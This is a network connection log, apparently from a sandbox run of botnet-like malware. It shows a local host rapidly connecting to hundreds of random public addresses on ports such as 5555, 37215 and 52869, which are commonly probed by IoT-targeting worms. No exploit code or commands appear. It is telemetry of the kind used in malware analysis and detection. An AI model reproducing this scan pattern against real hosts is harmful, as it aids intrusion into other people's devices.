Feb 12, 2023 21:24:53.812448025 CET	22272	5555	192.168.2.23	179.206.245.104
Feb 12, 2023 21:24:53.812448978 CET	22272	5555	192.168.2.23	199.101.42.241
Feb 12, 2023 21:24:53.812453985 CET	22272	5555	192.168.2.23	107.122.140.156
Feb 12, 2023 21:24:53.812453985 CET	22272	5555	192.168.2.23	156.195.238.230
Feb 12, 2023 21:24:53.812468052 CET	22272	5555	192.168.2.23	150.26.218.85
Feb 12, 2023 21:24:53.812469959 CET	22272	5555	192.168.2.23	17.58.117.169
Feb 12, 2023 21:24:53.812480927 CET	22272	5555	192.168.2.23	53.65.36.167
Feb 12, 2023 21:24:53.812494040 CET	22272	5555	192.168.2.23	77.82.53.143
Feb 12, 2023 21:24:53.812505960 CET	22272	5555	192.168.2.23	85.38.189.49
Feb 12, 2023 21:24:53.812505960 CET	22272	5555	192.168.2.23	89.163.252.165
Feb 12, 2023 21:24:53.812505960 CET	22272	5555	192.168.2.23	208.226.136.33
Feb 12, 2023 21:24:53.812521935 CET	22272	5555	192.168.2.23	219.100.48.246
Feb 12, 2023 21:24:53.812531948 CET	22272	5555	192.168.2.23	1.217.175.53
Feb 12, 2023 21:24:53.812531948 CET	22272	5555	192.168.2.23	85.11.49.177
Feb 12, 2023 21:24:53.812545061 CET	22272	5555	192.168.2.23	115.57.101.87
Feb 12, 2023 21:24:53.812550068 CET	22272	5555	192.168.2.23	221.172.65.133
Feb 12, 2023 21:24:53.812550068 CET	22272	5555	192.168.2.23	179.85.230.185
Feb 12, 2023 21:24:53.812552929 CET	22272	5555	192.168.2.23	88.149.222.47
Feb 12, 2023 21:24:53.812553883 CET	22272	5555	192.168.2.23	18.228.36.4
Feb 12, 2023 21:24:53.812557936 CET	22272	5555	192.168.2.23	166.71.216.128
Feb 12, 2023 21:24:53.812563896 CET	22272	5555	192.168.2.23	175.96.0.15
Feb 12, 2023 21:24:53.812572956 CET	22272	5555	192.168.2.23	223.23.72.252
Feb 12, 2023 21:24:53.812572956 CET	22272	5555	192.168.2.23	103.138.153.94
Feb 12, 2023 21:24:53.812575102 CET	22272	5555	192.168.2.23	217.248.104.32
Feb 12, 2023 21:24:53.812575102 CET	22272	5555	192.168.2.23	178.76.160.239
Feb 12, 2023 21:24:53.812577009 CET	22272	5555	192.168.2.23	172.167.35.110
Feb 12, 2023 21:24:53.812577963 CET	22272	5555	192.168.2.23	182.18.170.242
Feb 12, 2023 21:24:53.812582970 CET	22272	5555	192.168.2.23	72.163.96.221
Feb 12, 2023 21:24:53.812582970 CET	22272	5555	192.168.2.23	32.177.25.49
Feb 12, 2023 21:24:53.812604904 CET	22272	5555	192.168.2.23	99.63.192.91
Feb 12, 2023 21:24:53.812608957 CET	22272	5555	192.168.2.23	151.2.170.186
Feb 12, 2023 21:24:53.812633038 CET	22272	5555	192.168.2.23	1.200.240.39
Feb 12, 2023 21:24:53.812634945 CET	22272	5555	192.168.2.23	109.59.163.82
Feb 12, 2023 21:24:53.812638044 CET	22272	5555	192.168.2.23	79.120.15.0
Feb 12, 2023 21:24:53.812664986 CET	22272	5555	192.168.2.23	193.62.136.74
Feb 12, 2023 21:24:53.812674999 CET	22272	5555	192.168.2.23	49.101.45.178
Feb 12, 2023 21:24:53.812675953 CET	22272	5555	192.168.2.23	98.118.148.96
Feb 12, 2023 21:24:53.812676907 CET	22272	5555	192.168.2.23	44.14.13.222
Feb 12, 2023 21:24:53.812676907 CET	22272	5555	192.168.2.23	81.53.39.127
Feb 12, 2023 21:24:53.812690020 CET	22272	5555	192.168.2.23	163.164.212.191
Feb 12, 2023 21:24:53.812702894 CET	22272	5555	192.168.2.23	136.85.183.206
Feb 12, 2023 21:24:53.812803984 CET	51694	5555	192.168.2.23	142.11.52.65
Feb 12, 2023 21:24:53.839504004 CET	48472	52869	192.168.2.23	49.53.50.46
Feb 12, 2023 21:24:53.839514017 CET	50110	80	192.168.2.23	50.57.46.50
Feb 12, 2023 21:24:53.839519024 CET	47022	80	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:53.839521885 CET	37976	80	192.168.2.23	49.50.46.50
Feb 12, 2023 21:24:53.839560032 CET	37806	80	192.168.2.23	50.49.53.46
Feb 12, 2023 21:24:53.839560032 CET	59682	80	192.168.2.23	50.49.51.46
Feb 12, 2023 21:24:53.839584112 CET	52046	80	192.168.2.23	52.57.46.50
Feb 12, 2023 21:24:53.839586973 CET	58134	80	192.168.2.23	53.52.46.49
Feb 12, 2023 21:24:53.839596987 CET	60702	80	192.168.2.23	51.46.52.55
Feb 12, 2023 21:24:53.839607954 CET	43344	52869	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:53.841036081 CET	5555	22272	89.163.252.165	192.168.2.23
Feb 12, 2023 21:24:53.871531010 CET	58624	52869	192.168.2.23	50.57.46.49
Feb 12, 2023 21:24:53.871541977 CET	49540	52869	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:53.871543884 CET	41974	52869	192.168.2.23	49.52.48.46
Feb 12, 2023 21:24:53.871547937 CET	56764	52869	192.168.2.23	51.55.46.57
Feb 12, 2023 21:24:53.871547937 CET	34222	52869	192.168.2.23	49.57.52.46
Feb 12, 2023 21:24:53.903429031 CET	37976	52869	192.168.2.23	56.57.46.50
Feb 12, 2023 21:24:53.903433084 CET	48004	52869	192.168.2.23	57.55.46.55
Feb 12, 2023 21:24:53.935457945 CET	38508	37215	192.168.2.23	197.194.160.175
Feb 12, 2023 21:24:53.947985888 CET	5555	51694	142.11.52.65	192.168.2.23
Feb 12, 2023 21:24:53.948051929 CET	51694	5555	192.168.2.23	142.11.52.65
Feb 12, 2023 21:24:53.951244116 CET	5555	22272	66.64.10.157	192.168.2.23
Feb 12, 2023 21:24:54.031963110 CET	50902	80	192.168.2.23	56.50.46.54
Feb 12, 2023 21:24:54.037940025 CET	50126	80	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:54.042197943 CET	37138	80	192.168.2.23	49.46.49.50
Feb 12, 2023 21:24:54.049129009 CET	33530	80	192.168.2.23	54.50.46.55
Feb 12, 2023 21:24:54.051031113 CET	48868	80	192.168.2.23	56.56.46.49
Feb 12, 2023 21:24:54.052764893 CET	48958	80	192.168.2.23	53.46.49.53
Feb 12, 2023 21:24:54.078156948 CET	5555	22272	125.156.151.35	192.168.2.23
Feb 12, 2023 21:24:54.119363070 CET	52981	37215	192.168.2.23	197.8.206.69
Feb 12, 2023 21:24:54.119404078 CET	52981	37215	192.168.2.23	157.172.60.171
Feb 12, 2023 21:24:54.119409084 CET	52981	37215	192.168.2.23	69.230.95.178
Feb 12, 2023 21:24:54.119477034 CET	52981	37215	192.168.2.23	157.19.56.252
Feb 12, 2023 21:24:54.119527102 CET	52981	37215	192.168.2.23	41.184.22.12
Feb 12, 2023 21:24:54.119535923 CET	52981	37215	192.168.2.23	157.0.2.154
Feb 12, 2023 21:24:54.119597912 CET	52981	37215	192.168.2.23	197.193.211.42
Feb 12, 2023 21:24:54.119611025 CET	52981	37215	192.168.2.23	197.135.162.254
Feb 12, 2023 21:24:54.119611979 CET	52981	37215	192.168.2.23	164.210.145.122
Feb 12, 2023 21:24:54.119618893 CET	52981	37215	192.168.2.23	197.123.40.239
Feb 12, 2023 21:24:54.119643927 CET	52981	37215	192.168.2.23	197.2.26.208
Feb 12, 2023 21:24:54.119667053 CET	52981	37215	192.168.2.23	197.163.237.244
Feb 12, 2023 21:24:54.119690895 CET	52981	37215	192.168.2.23	197.107.233.243
Feb 12, 2023 21:24:54.119708061 CET	52981	37215	192.168.2.23	197.196.105.174
Feb 12, 2023 21:24:54.119739056 CET	52981	37215	192.168.2.23	157.149.179.195
Feb 12, 2023 21:24:54.119755030 CET	52981	37215	192.168.2.23	41.199.163.225
Feb 12, 2023 21:24:54.119805098 CET	52981	37215	192.168.2.23	41.31.200.4
Feb 12, 2023 21:24:54.119832039 CET	52981	37215	192.168.2.23	184.40.146.50
Feb 12, 2023 21:24:54.119832993 CET	52981	37215	192.168.2.23	41.178.169.35
Feb 12, 2023 21:24:54.119884014 CET	52981	37215	192.168.2.23	41.46.146.26
Feb 12, 2023 21:24:54.119887114 CET	52981	37215	192.168.2.23	197.179.239.28
Feb 12, 2023 21:24:54.119899035 CET	52981	37215	192.168.2.23	157.198.210.254
Feb 12, 2023 21:24:54.119903088 CET	52981	37215	192.168.2.23	197.65.149.129
Feb 12, 2023 21:24:54.119908094 CET	52981	37215	192.168.2.23	202.93.94.176
Feb 12, 2023 21:24:54.119925976 CET	52981	37215	192.168.2.23	41.98.58.5
Feb 12, 2023 21:24:54.119940042 CET	52981	37215	192.168.2.23	41.132.29.20
Feb 12, 2023 21:24:54.119967937 CET	52981	37215	192.168.2.23	119.162.58.235
Feb 12, 2023 21:24:54.119997978 CET	52981	37215	192.168.2.23	104.250.16.34
Feb 12, 2023 21:24:54.120016098 CET	52981	37215	192.168.2.23	41.206.88.47
Feb 12, 2023 21:24:54.120023012 CET	52981	37215	192.168.2.23	197.131.96.71
Feb 12, 2023 21:24:54.120062113 CET	52981	37215	192.168.2.23	83.251.193.179
Feb 12, 2023 21:24:54.120074987 CET	52981	37215	192.168.2.23	211.15.0.64
Feb 12, 2023 21:24:54.120091915 CET	52981	37215	192.168.2.23	41.207.120.236
Feb 12, 2023 21:24:54.120104074 CET	52981	37215	192.168.2.23	197.81.144.108
Feb 12, 2023 21:24:54.120120049 CET	52981	37215	192.168.2.23	157.178.200.7
Feb 12, 2023 21:24:54.120142937 CET	52981	37215	192.168.2.23	197.159.189.46
Feb 12, 2023 21:24:54.120161057 CET	52981	37215	192.168.2.23	197.21.118.86
Feb 12, 2023 21:24:54.120188951 CET	52981	37215	192.168.2.23	157.243.106.190
Feb 12, 2023 21:24:54.120207071 CET	52981	37215	192.168.2.23	41.242.82.107
Feb 12, 2023 21:24:54.120223045 CET	52981	37215	192.168.2.23	44.61.247.107
Feb 12, 2023 21:24:54.120246887 CET	52981	37215	192.168.2.23	157.88.249.102
Feb 12, 2023 21:24:54.120261908 CET	52981	37215	192.168.2.23	157.131.169.237
Feb 12, 2023 21:24:54.120264053 CET	52981	37215	192.168.2.23	41.126.88.37
Feb 12, 2023 21:24:54.120294094 CET	52981	37215	192.168.2.23	197.216.217.30
Feb 12, 2023 21:24:54.120299101 CET	52981	37215	192.168.2.23	197.191.38.224
Feb 12, 2023 21:24:54.120332003 CET	52981	37215	192.168.2.23	197.44.254.169
Feb 12, 2023 21:24:54.120337963 CET	52981	37215	192.168.2.23	87.24.210.7
Feb 12, 2023 21:24:54.120361090 CET	52981	37215	192.168.2.23	41.63.20.44
Feb 12, 2023 21:24:54.120362997 CET	52981	37215	192.168.2.23	212.162.226.156
Feb 12, 2023 21:24:54.120366096 CET	52981	37215	192.168.2.23	41.99.41.110
Feb 12, 2023 21:24:54.120366096 CET	52981	37215	192.168.2.23	197.32.196.89
Feb 12, 2023 21:24:54.120382071 CET	52981	37215	192.168.2.23	157.66.152.154
Feb 12, 2023 21:24:54.120389938 CET	52981	37215	192.168.2.23	157.42.77.249
Feb 12, 2023 21:24:54.120403051 CET	52981	37215	192.168.2.23	157.133.147.191
Feb 12, 2023 21:24:54.120417118 CET	52981	37215	192.168.2.23	41.220.56.232
Feb 12, 2023 21:24:54.120417118 CET	52981	37215	192.168.2.23	157.150.156.209
Feb 12, 2023 21:24:54.120446920 CET	52981	37215	192.168.2.23	41.144.117.66
Feb 12, 2023 21:24:54.120446920 CET	52981	37215	192.168.2.23	41.29.111.47
Feb 12, 2023 21:24:54.120451927 CET	52981	37215	192.168.2.23	197.235.7.75
Feb 12, 2023 21:24:54.120454073 CET	52981	37215	192.168.2.23	41.163.193.118
Feb 12, 2023 21:24:54.120466948 CET	52981	37215	192.168.2.23	90.35.183.114
Feb 12, 2023 21:24:54.120471954 CET	52981	37215	192.168.2.23	223.15.91.144
Feb 12, 2023 21:24:54.120475054 CET	52981	37215	192.168.2.23	144.203.216.195
Feb 12, 2023 21:24:54.120476961 CET	52981	37215	192.168.2.23	18.30.167.98
Feb 12, 2023 21:24:54.120496035 CET	52981	37215	192.168.2.23	157.225.222.79
Feb 12, 2023 21:24:54.120506048 CET	52981	37215	192.168.2.23	157.111.138.193
Feb 12, 2023 21:24:54.120507002 CET	52981	37215	192.168.2.23	157.78.231.110
Feb 12, 2023 21:24:54.120507002 CET	52981	37215	192.168.2.23	197.224.33.92
Feb 12, 2023 21:24:54.120507002 CET	52981	37215	192.168.2.23	41.253.20.63
Feb 12, 2023 21:24:54.120528936 CET	52981	37215	192.168.2.23	157.77.53.197
Feb 12, 2023 21:24:54.120529890 CET	52981	37215	192.168.2.23	204.243.134.176
Feb 12, 2023 21:24:54.120534897 CET	52981	37215	192.168.2.23	41.235.104.236
Feb 12, 2023 21:24:54.120536089 CET	52981	37215	192.168.2.23	41.54.206.219
Feb 12, 2023 21:24:54.120537996 CET	52981	37215	192.168.2.23	41.105.67.51
Feb 12, 2023 21:24:54.120557070 CET	52981	37215	192.168.2.23	197.196.99.167
Feb 12, 2023 21:24:54.120563030 CET	52981	37215	192.168.2.23	41.197.42.54
Feb 12, 2023 21:24:54.120589018 CET	52981	37215	192.168.2.23	197.176.217.208
Feb 12, 2023 21:24:54.120590925 CET	52981	37215	192.168.2.23	41.207.195.63
Feb 12, 2023 21:24:54.120594025 CET	52981	37215	192.168.2.23	197.178.56.228
Feb 12, 2023 21:24:54.120605946 CET	52981	37215	192.168.2.23	87.129.208.88
Feb 12, 2023 21:24:54.120606899 CET	52981	37215	192.168.2.23	197.253.17.178
Feb 12, 2023 21:24:54.120609999 CET	52981	37215	192.168.2.23	73.53.135.90
Feb 12, 2023 21:24:54.120625019 CET	52981	37215	192.168.2.23	197.143.161.220
Feb 12, 2023 21:24:54.120630980 CET	52981	37215	192.168.2.23	41.53.153.172
Feb 12, 2023 21:24:54.120652914 CET	52981	37215	192.168.2.23	172.223.46.39
Feb 12, 2023 21:24:54.120655060 CET	52981	37215	192.168.2.23	81.204.168.128
Feb 12, 2023 21:24:54.120660067 CET	52981	37215	192.168.2.23	140.50.51.229
Feb 12, 2023 21:24:54.120662928 CET	52981	37215	192.168.2.23	197.217.110.231
Feb 12, 2023 21:24:54.120666027 CET	52981	37215	192.168.2.23	118.81.89.122
Feb 12, 2023 21:24:54.120675087 CET	52981	37215	192.168.2.23	9.255.4.138
Feb 12, 2023 21:24:54.120692015 CET	52981	37215	192.168.2.23	41.139.187.123
Feb 12, 2023 21:24:54.120692968 CET	52981	37215	192.168.2.23	41.211.56.130
Feb 12, 2023 21:24:54.120703936 CET	52981	37215	192.168.2.23	197.142.164.127
Feb 12, 2023 21:24:54.120704889 CET	52981	37215	192.168.2.23	197.189.9.50
Feb 12, 2023 21:24:54.120732069 CET	52981	37215	192.168.2.23	157.84.149.255
Feb 12, 2023 21:24:54.120733976 CET	52981	37215	192.168.2.23	41.118.255.104
Feb 12, 2023 21:24:54.120744944 CET	52981	37215	192.168.2.23	157.204.149.7
Feb 12, 2023 21:24:54.120744944 CET	52981	37215	192.168.2.23	41.211.240.80
Feb 12, 2023 21:24:54.120750904 CET	52981	37215	192.168.2.23	157.237.48.199
Feb 12, 2023 21:24:54.120755911 CET	52981	37215	192.168.2.23	197.154.55.233
Feb 12, 2023 21:24:54.120769978 CET	52981	37215	192.168.2.23	41.130.117.56
Feb 12, 2023 21:24:54.120781898 CET	52981	37215	192.168.2.23	41.12.237.3
Feb 12, 2023 21:24:54.120805979 CET	52981	37215	192.168.2.23	197.40.179.57
Feb 12, 2023 21:24:54.120810986 CET	52981	37215	192.168.2.23	157.39.194.117
Feb 12, 2023 21:24:54.120814085 CET	52981	37215	192.168.2.23	197.167.233.46
Feb 12, 2023 21:24:54.120814085 CET	52981	37215	192.168.2.23	20.12.116.181
Feb 12, 2023 21:24:54.120816946 CET	52981	37215	192.168.2.23	41.131.208.0
Feb 12, 2023 21:24:54.120836020 CET	52981	37215	192.168.2.23	41.253.171.90
Feb 12, 2023 21:24:54.120837927 CET	52981	37215	192.168.2.23	157.76.77.91
Feb 12, 2023 21:24:54.120842934 CET	52981	37215	192.168.2.23	41.1.128.178
Feb 12, 2023 21:24:54.120842934 CET	52981	37215	192.168.2.23	157.200.14.34
Feb 12, 2023 21:24:54.120853901 CET	52981	37215	192.168.2.23	197.3.160.211
Feb 12, 2023 21:24:54.120867014 CET	52981	37215	192.168.2.23	197.254.20.250
Feb 12, 2023 21:24:54.120867968 CET	52981	37215	192.168.2.23	157.76.150.71
Feb 12, 2023 21:24:54.120867968 CET	52981	37215	192.168.2.23	197.247.231.9
Feb 12, 2023 21:24:54.120881081 CET	52981	37215	192.168.2.23	41.107.15.168
Feb 12, 2023 21:24:54.120884895 CET	52981	37215	192.168.2.23	157.185.220.131
Feb 12, 2023 21:24:54.120886087 CET	52981	37215	192.168.2.23	197.143.38.35
Feb 12, 2023 21:24:54.120923042 CET	52981	37215	192.168.2.23	157.168.29.206
Feb 12, 2023 21:24:54.120923996 CET	52981	37215	192.168.2.23	197.60.220.254
Feb 12, 2023 21:24:54.120924950 CET	52981	37215	192.168.2.23	132.1.15.193
Feb 12, 2023 21:24:54.120924950 CET	52981	37215	192.168.2.23	157.143.111.161
Feb 12, 2023 21:24:54.120934963 CET	52981	37215	192.168.2.23	41.96.116.110
Feb 12, 2023 21:24:54.120939016 CET	52981	37215	192.168.2.23	109.213.88.39
Feb 12, 2023 21:24:54.120939016 CET	52981	37215	192.168.2.23	197.94.104.48
Feb 12, 2023 21:24:54.120940924 CET	52981	37215	192.168.2.23	41.10.9.221
Feb 12, 2023 21:24:54.120945930 CET	52981	37215	192.168.2.23	41.205.98.33
Feb 12, 2023 21:24:54.120945930 CET	52981	37215	192.168.2.23	41.101.245.5
Feb 12, 2023 21:24:54.120951891 CET	52981	37215	192.168.2.23	157.228.173.61
Feb 12, 2023 21:24:54.120953083 CET	52981	37215	192.168.2.23	197.145.64.203
Feb 12, 2023 21:24:54.120953083 CET	52981	37215	192.168.2.23	201.31.51.10
Feb 12, 2023 21:24:54.120959044 CET	52981	37215	192.168.2.23	41.95.28.119
Feb 12, 2023 21:24:54.120960951 CET	52981	37215	192.168.2.23	157.80.208.122
Feb 12, 2023 21:24:54.120984077 CET	52981	37215	192.168.2.23	74.219.189.145
Feb 12, 2023 21:24:54.120985985 CET	52981	37215	192.168.2.23	65.154.120.56
Feb 12, 2023 21:24:54.120985985 CET	52981	37215	192.168.2.23	83.154.187.209
Feb 12, 2023 21:24:54.120995998 CET	52981	37215	192.168.2.23	41.251.155.154
Feb 12, 2023 21:24:54.120995998 CET	52981	37215	192.168.2.23	155.207.182.183
Feb 12, 2023 21:24:54.121010065 CET	52981	37215	192.168.2.23	12.206.61.128
Feb 12, 2023 21:24:54.121016979 CET	52981	37215	192.168.2.23	197.158.165.26
Feb 12, 2023 21:24:54.121037006 CET	52981	37215	192.168.2.23	41.250.108.230
Feb 12, 2023 21:24:54.121045113 CET	52981	37215	192.168.2.23	197.80.254.190
Feb 12, 2023 21:24:54.121048927 CET	52981	37215	192.168.2.23	157.6.57.102
Feb 12, 2023 21:24:54.121071100 CET	52981	37215	192.168.2.23	197.164.232.97
Feb 12, 2023 21:24:54.121077061 CET	52981	37215	192.168.2.23	197.138.143.130
Feb 12, 2023 21:24:54.121077061 CET	52981	37215	192.168.2.23	197.84.164.16
Feb 12, 2023 21:24:54.121090889 CET	52981	37215	192.168.2.23	157.221.129.46
Feb 12, 2023 21:24:54.121090889 CET	52981	37215	192.168.2.23	179.233.69.234
Feb 12, 2023 21:24:54.121098995 CET	52981	37215	192.168.2.23	157.91.87.43
Feb 12, 2023 21:24:54.121104002 CET	52981	37215	192.168.2.23	41.159.239.241
Feb 12, 2023 21:24:54.121114016 CET	52981	37215	192.168.2.23	157.149.220.234
Feb 12, 2023 21:24:54.121126890 CET	52981	37215	192.168.2.23	197.244.111.230
Feb 12, 2023 21:24:54.121136904 CET	52981	37215	192.168.2.23	41.6.66.188
Feb 12, 2023 21:24:54.121157885 CET	52981	37215	192.168.2.23	157.55.153.21
Feb 12, 2023 21:24:54.121161938 CET	52981	37215	192.168.2.23	197.163.70.153
Feb 12, 2023 21:24:54.121164083 CET	52981	37215	192.168.2.23	197.234.25.139
Feb 12, 2023 21:24:54.121164083 CET	52981	37215	192.168.2.23	157.188.179.150
Feb 12, 2023 21:24:54.121164083 CET	52981	37215	192.168.2.23	157.52.71.6
Feb 12, 2023 21:24:54.121198893 CET	52981	37215	192.168.2.23	41.36.59.2
Feb 12, 2023 21:24:54.121200085 CET	52981	37215	192.168.2.23	41.85.217.85
Feb 12, 2023 21:24:54.121201038 CET	52981	37215	192.168.2.23	157.245.234.190
Feb 12, 2023 21:24:54.121203899 CET	52981	37215	192.168.2.23	157.160.219.209
Feb 12, 2023 21:24:54.121206999 CET	52981	37215	192.168.2.23	41.187.183.157
Feb 12, 2023 21:24:54.121220112 CET	52981	37215	192.168.2.23	41.72.172.106
Feb 12, 2023 21:24:54.121234894 CET	52981	37215	192.168.2.23	41.38.96.79
Feb 12, 2023 21:24:54.121237040 CET	52981	37215	192.168.2.23	157.202.30.144
Feb 12, 2023 21:24:54.121237040 CET	52981	37215	192.168.2.23	41.150.102.144
Feb 12, 2023 21:24:54.121242046 CET	52981	37215	192.168.2.23	157.82.72.51
Feb 12, 2023 21:24:54.121258974 CET	52981	37215	192.168.2.23	194.147.4.12
Feb 12, 2023 21:24:54.121267080 CET	52981	37215	192.168.2.23	9.59.158.252
Feb 12, 2023 21:24:54.121267080 CET	52981	37215	192.168.2.23	41.25.22.71
Feb 12, 2023 21:24:54.121277094 CET	52981	37215	192.168.2.23	198.59.48.151
Feb 12, 2023 21:24:54.121284008 CET	52981	37215	192.168.2.23	41.130.235.122
Feb 12, 2023 21:24:54.121296883 CET	52981	37215	192.168.2.23	186.138.254.234
Feb 12, 2023 21:24:54.121306896 CET	52981	37215	192.168.2.23	167.223.87.249
Feb 12, 2023 21:24:54.121311903 CET	52981	37215	192.168.2.23	197.114.185.35
Feb 12, 2023 21:24:54.121329069 CET	52981	37215	192.168.2.23	12.107.125.155
Feb 12, 2023 21:24:54.121335983 CET	52981	37215	192.168.2.23	41.75.215.235
Feb 12, 2023 21:24:54.121351004 CET	52981	37215	192.168.2.23	41.48.17.88
Feb 12, 2023 21:24:54.121351004 CET	52981	37215	192.168.2.23	41.82.70.95
Feb 12, 2023 21:24:54.121355057 CET	52981	37215	192.168.2.23	157.105.11.45
Feb 12, 2023 21:24:54.121372938 CET	52981	37215	192.168.2.23	197.145.58.43
Feb 12, 2023 21:24:54.121381044 CET	52981	37215	192.168.2.23	41.201.218.236
Feb 12, 2023 21:24:54.121387959 CET	52981	37215	192.168.2.23	195.64.77.67
Feb 12, 2023 21:24:54.121391058 CET	52981	37215	192.168.2.23	197.111.244.123
Feb 12, 2023 21:24:54.121407032 CET	52981	37215	192.168.2.23	197.120.120.156
Feb 12, 2023 21:24:54.121418953 CET	52981	37215	192.168.2.23	157.49.243.188
Feb 12, 2023 21:24:54.121443033 CET	52981	37215	192.168.2.23	41.184.170.219
Feb 12, 2023 21:24:54.121443033 CET	52981	37215	192.168.2.23	157.172.174.219
Feb 12, 2023 21:24:54.121447086 CET	52981	37215	192.168.2.23	114.213.10.51
Feb 12, 2023 21:24:54.121465921 CET	52981	37215	192.168.2.23	204.13.33.239
Feb 12, 2023 21:24:54.121474028 CET	52981	37215	192.168.2.23	41.128.6.68
Feb 12, 2023 21:24:54.121475935 CET	52981	37215	192.168.2.23	41.213.144.1
Feb 12, 2023 21:24:54.121483088 CET	52981	37215	192.168.2.23	197.209.1.239
Feb 12, 2023 21:24:54.121490002 CET	52981	37215	192.168.2.23	197.225.114.86
Feb 12, 2023 21:24:54.121500015 CET	52981	37215	192.168.2.23	157.128.127.76
Feb 12, 2023 21:24:54.121510983 CET	52981	37215	192.168.2.23	157.129.106.153
Feb 12, 2023 21:24:54.121520042 CET	52981	37215	192.168.2.23	157.100.188.62
Feb 12, 2023 21:24:54.121539116 CET	52981	37215	192.168.2.23	104.35.252.209
Feb 12, 2023 21:24:54.121553898 CET	52981	37215	192.168.2.23	157.34.24.32
Feb 12, 2023 21:24:54.121565104 CET	52981	37215	192.168.2.23	86.149.62.178
Feb 12, 2023 21:24:54.121589899 CET	52981	37215	192.168.2.23	71.163.222.41
Feb 12, 2023 21:24:54.121591091 CET	52981	37215	192.168.2.23	197.145.158.37
Feb 12, 2023 21:24:54.121589899 CET	52981	37215	192.168.2.23	157.157.254.189
Feb 12, 2023 21:24:54.121612072 CET	52981	37215	192.168.2.23	78.125.229.249
Feb 12, 2023 21:24:54.121627092 CET	52981	37215	192.168.2.23	41.5.108.1
Feb 12, 2023 21:24:54.121628046 CET	52981	37215	192.168.2.23	41.248.19.189
Feb 12, 2023 21:24:54.121630907 CET	52981	37215	192.168.2.23	197.202.19.198
Feb 12, 2023 21:24:54.121651888 CET	52981	37215	192.168.2.23	41.46.224.215
Feb 12, 2023 21:24:54.121651888 CET	52981	37215	192.168.2.23	157.164.247.81
Feb 12, 2023 21:24:54.121665001 CET	52981	37215	192.168.2.23	197.243.116.220
Feb 12, 2023 21:24:54.121664047 CET	52981	37215	192.168.2.23	157.37.130.114
Feb 12, 2023 21:24:54.121679068 CET	52981	37215	192.168.2.23	41.33.194.103
Feb 12, 2023 21:24:54.121684074 CET	52981	37215	192.168.2.23	54.133.195.8
Feb 12, 2023 21:24:54.121699095 CET	52981	37215	192.168.2.23	157.22.170.176
Feb 12, 2023 21:24:54.121704102 CET	52981	37215	192.168.2.23	197.167.63.159
Feb 12, 2023 21:24:54.121712923 CET	52981	37215	192.168.2.23	197.195.202.204
Feb 12, 2023 21:24:54.121727943 CET	52981	37215	192.168.2.23	197.69.151.215
Feb 12, 2023 21:24:54.121731997 CET	52981	37215	192.168.2.23	197.149.10.162
Feb 12, 2023 21:24:54.121737957 CET	52981	37215	192.168.2.23	13.113.90.107
Feb 12, 2023 21:24:54.121762991 CET	52981	37215	192.168.2.23	179.91.9.30
Feb 12, 2023 21:24:54.121764898 CET	52981	37215	192.168.2.23	157.119.237.58
Feb 12, 2023 21:24:54.121771097 CET	52981	37215	192.168.2.23	197.109.138.211
Feb 12, 2023 21:24:54.121771097 CET	52981	37215	192.168.2.23	101.12.20.253
Feb 12, 2023 21:24:54.121786118 CET	52981	37215	192.168.2.23	162.29.27.188
Feb 12, 2023 21:24:54.121793032 CET	52981	37215	192.168.2.23	23.195.222.118
Feb 12, 2023 21:24:54.121798992 CET	52981	37215	192.168.2.23	157.207.33.191
Feb 12, 2023 21:24:54.121819973 CET	52981	37215	192.168.2.23	197.157.212.111
Feb 12, 2023 21:24:54.121825933 CET	52981	37215	192.168.2.23	197.17.191.118
Feb 12, 2023 21:24:54.121831894 CET	52981	37215	192.168.2.23	197.56.54.73
Feb 12, 2023 21:24:54.121833086 CET	52981	37215	192.168.2.23	41.245.243.219
Feb 12, 2023 21:24:54.121846914 CET	52981	37215	192.168.2.23	152.43.137.226
Feb 12, 2023 21:24:54.121850967 CET	52981	37215	192.168.2.23	41.228.196.251
Feb 12, 2023 21:24:54.121867895 CET	52981	37215	192.168.2.23	151.1.139.156
Feb 12, 2023 21:24:54.121881962 CET	52981	37215	192.168.2.23	41.232.110.229
Feb 12, 2023 21:24:54.121886015 CET	52981	37215	192.168.2.23	157.246.99.17
Feb 12, 2023 21:24:54.121896982 CET	52981	37215	192.168.2.23	41.85.98.196
Feb 12, 2023 21:24:54.121896982 CET	52981	37215	192.168.2.23	2.145.140.175
Feb 12, 2023 21:24:54.121901035 CET	52981	37215	192.168.2.23	204.68.229.76
Feb 12, 2023 21:24:54.121926069 CET	52981	37215	192.168.2.23	41.118.165.29
Feb 12, 2023 21:24:54.121927977 CET	52981	37215	192.168.2.23	157.34.138.1
Feb 12, 2023 21:24:54.121939898 CET	52981	37215	192.168.2.23	197.2.251.96
Feb 12, 2023 21:24:54.121939898 CET	52981	37215	192.168.2.23	149.33.140.236
Feb 12, 2023 21:24:54.121956110 CET	52981	37215	192.168.2.23	197.217.174.149
Feb 12, 2023 21:24:54.121958017 CET	52981	37215	192.168.2.23	41.237.28.147
Feb 12, 2023 21:24:54.121977091 CET	52981	37215	192.168.2.23	157.158.229.229
Feb 12, 2023 21:24:54.121980906 CET	52981	37215	192.168.2.23	157.217.162.47
Feb 12, 2023 21:24:54.121989012 CET	52981	37215	192.168.2.23	197.166.230.29
Feb 12, 2023 21:24:54.121992111 CET	52981	37215	192.168.2.23	197.172.44.255
Feb 12, 2023 21:24:54.122008085 CET	52981	37215	192.168.2.23	23.7.202.6
Feb 12, 2023 21:24:54.122011900 CET	52981	37215	192.168.2.23	41.124.183.144
Feb 12, 2023 21:24:54.122030973 CET	52981	37215	192.168.2.23	157.46.24.39
Feb 12, 2023 21:24:54.122045040 CET	52981	37215	192.168.2.23	27.254.248.164
Feb 12, 2023 21:24:54.122046947 CET	52981	37215	192.168.2.23	41.146.20.145
Feb 12, 2023 21:24:54.122051954 CET	52981	37215	192.168.2.23	157.151.43.177
Feb 12, 2023 21:24:54.122071028 CET	52981	37215	192.168.2.23	157.127.148.20
Feb 12, 2023 21:24:54.127500057 CET	60306	49152	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:54.191531897 CET	57464	8080	192.168.2.23	53.49.46.50
Feb 12, 2023 21:24:54.214852095 CET	37215	52981	41.82.70.95	192.168.2.23
Feb 12, 2023 21:24:54.223453999 CET	46172	8080	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:54.223453999 CET	51782	8080	192.168.2.23	51.55.46.57
Feb 12, 2023 21:24:54.223459005 CET	60538	8080	192.168.2.23	49.53.50.46
